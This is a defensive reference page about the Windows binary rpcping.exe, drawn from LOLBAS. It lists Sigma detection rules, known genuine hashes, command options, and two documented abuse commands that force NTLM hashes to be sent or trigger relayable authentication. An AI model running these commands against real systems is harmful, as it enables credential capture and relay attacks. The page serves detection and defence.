Identifier / Programs / Windows
rpcping.exe
Confirms the RPC connectivity between the computer running Microsoft Exchange Server and any of the supported Microsoft Exchange Client workstations on the network. Windows commands reference
LOLBAS Credentials 1 Sigma rule name it 1 ATT&CK technique 2 documented commands 12 known copies with hashes
How rpcping.exe is abused
Credentials T1003 OS Credential Dumping
/sSpecifies the server address. Windows commands reference/eSpecifies the endpoint to ping. Windows commands reference/aSpecifies the authentication level to use. Windows commands reference/uSpecifies the security package (security provider) RPC will use to make the call. Windows commands referenceEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for rpcping.exe.
2 documented commands
Credentials T1003 OS Credential Dumping User privileges
Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLMTrips 1 Sigma rule: mediumCapture Credentials with Rpcping.exe by Julia Fomina, oscd.community
Credentials T1187 Forced Authentication User privileges
Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).
rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLMTrips 1 Sigma rule: mediumCapture Credentials with Rpcping.exe by Julia Fomina, oscd.community
All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for rpcping.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for rpcping.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real rpcping.exe?
C:\Windows\system32\C:\Windows\SysWOW64\12 known copies
10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\RpcPing.exe · signed by Microsoft Windows
e38a5750c888bbe4f0cb5d2d81b66c24c5842b9d3f936f7e61d3a7a2507cac4010.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\RpcPing.exe · signed by Microsoft Windows
fcb750bb9588a644611ffc779745cf1b1722228bf747860faf22acf9eb97e6b610.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\RpcPing.exe · signed by Microsoft Windows
b26ca32a7eee65b90658eacaeb3589e69e9efb5686ce6cec7d20c1766da34f3210.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\RpcPing.exe · signed by Microsoft Windows
be654b85b6b4fdf81a9df93ad5259760382e3964030f938e63a17b5c5a11f10b10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\RpcPing.exe · signed by Microsoft Windows
758d72a5ae9e90a059edaeac485823f3767d155bd2974bba10b3310cd88aa16110.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\RpcPing.exe · signed by Microsoft Windows
f9ff31b9adcfb7f9c7afb1362e5f9883555afc7d082333d0a5bb951556bfc0ce10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\RpcPing.exe · signed by Microsoft Windows
cd6013ed67e859a186f43c5964ba877f1a22f36295aa70fd0b68e6d96aa284e810.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\RpcPing.exe · signed by Microsoft Windows
d46e6bc917443dcf55ecee73cbad10d2fe65ce461705ed5acf7a3cf05e6968e810.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\RpcPing.exe · signed by Microsoft Windows
1be248078120d057eb837fe10983c344ea927061f24067ecaa91247c94ad291110.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\RpcPing.exe · signed by Microsoft Windows
da02a31325f1db425b41ad91cd58d73a27e1b5910dacc6a2a22ccf41cf34474c6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\RpcPing.exe · not signed
07e9c84ffbe387f263a86cf87fdf44d50bae8d6f0b3a10c8f99556e85a7e34bb6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\RpcPing.exe · not signed
d0edde6bc98ec3c90d46877ab9d5414c8b7b3e020548bf706b46666e02d12430From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Options
Show every option of rpcping.exe
/tSpecifies the protocol sequence to use./sSpecifies the server address./eSpecifies the endpoint to ping./oSpecifies the binding options for the RPC ping./fSpecifies the interface to ping./iSpecifies the number of calls to make./uSpecifies the security package (security provider) RPC will use to make the call./aSpecifies the authentication level to use./NSpecifies a server principal name./CSpecifies a hexadecimal bitmask of flags./MSpecifies anonymous, identify, impersonate or delegate./PSpecifies the identity to authenticate with to the RPC/HTTP proxy./HSpecifies the authentication schemes to use for RPC/HTTP front end authentication./BSpecifies the server certificate subject./RSpecifies the HTTP proxy./qSpecifies quiet mode./vTells rpcping how verbose to make the output./dLaunches RPC network diagnostic UI./?Displays help at the command prompt.